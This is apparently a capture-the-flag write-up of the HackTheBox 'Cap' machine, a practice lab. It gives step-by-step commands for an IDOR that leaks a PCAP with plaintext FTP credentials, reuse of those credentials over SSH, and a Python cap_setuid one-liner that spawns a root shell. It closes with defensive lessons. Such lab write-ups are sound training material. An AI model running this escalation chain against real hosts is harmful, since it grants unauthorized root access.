Post cover image

November 1, 2026

HackTheBox Cap Writeup

Cap — Lab Summary (with commands)

By Mohamed Ramadan

1 min read

Cap — Lab Summary (with commands)

Goal: Exploit an IDOR (Insecure Direct Object Reference) vulnerability to access another user's leaked FTP credentials in a PCAP file, use them to get user access, then abuse Linux capabilities on a Python binary to escalate to root.

Steps & Commands

1. Scan the target

nmap -sV <target-ip>

→ 3 open TCP ports found (commonly 21, 22, 80 on this box).

2. Explore the website

Running a "Security Snapshot" on the web app redirects to:

/data/<id>

3. Test for IDOR (access other users' data)

Trying different <id> values:

  • Numbers greater than 3 → redirected back to home (invalid/no access)
  • /data/0 → worked! Revealed another user's scan (a PCAP file)

→ Confirms an IDOR vulnerability: you can access other users' scan data just by changing the ID in the URL.

4. Download and analyze the PCAP file

Open in Wireshark (or use tshark):

wireshark data_0.pcap

Filter for FTP traffic:

ftp

Found:

Request: USER nathan
Request: PASS Buck3tH4TF0RM3!

5. Try the credentials over FTP

ftp <target-ip>
Name: nathan
Password: Buck3tH4TF0RM3!
230 Login successful.

6. Download the user flag via FTP

dir
get user.txt
exit
cat user.txt

Output:

flag****************************

7. Reuse the same credentials over SSH

ssh nathan@<target-ip>
password: Buck3tH4TF0RM3!

(same password worked → password reuse across services)

8. Enumerate Linux capabilities for privilege escalation

getcap -r / 2>/dev/null

Output:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

→ cap_setuid on Python means this binary can change its user ID — a privilege escalation opportunity.

9. Abuse the capability to become root

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'
  • os.setuid(0) sets the process's UID to 0 (root).
  • os.system("/bin/bash") spawns a root shell.

10. Confirm root access

id

Output:

uid=0(root) gid=1001(nathan) groups=1001(nathan)

11. Read the root flag

ls -la /root
cat /root/root.txt

Output:

flag****************************

Key Takeaways

  1. IDOR vulnerability: The app didn't check whether a user was authorized to view a given scan ID, letting you view any user's data by guessing/iterating IDs.
  2. Sensitive data in cleartext protocols: FTP traffic exposed a plaintext password inside a PCAP file, since FTP doesn't encrypt credentials.
  3. Password reuse: The same password worked across FTP and SSH, widening the attack surface.
  4. Dangerous Linux capabilities: Assigning cap_setuid to a general-purpose binary like Python allows any user running it to escalate straight to root — capabilities should be scoped to only what's strictly needed.

Connect with me on LinkedIn: www.linkedin.com/in/mohamedramadan-mh7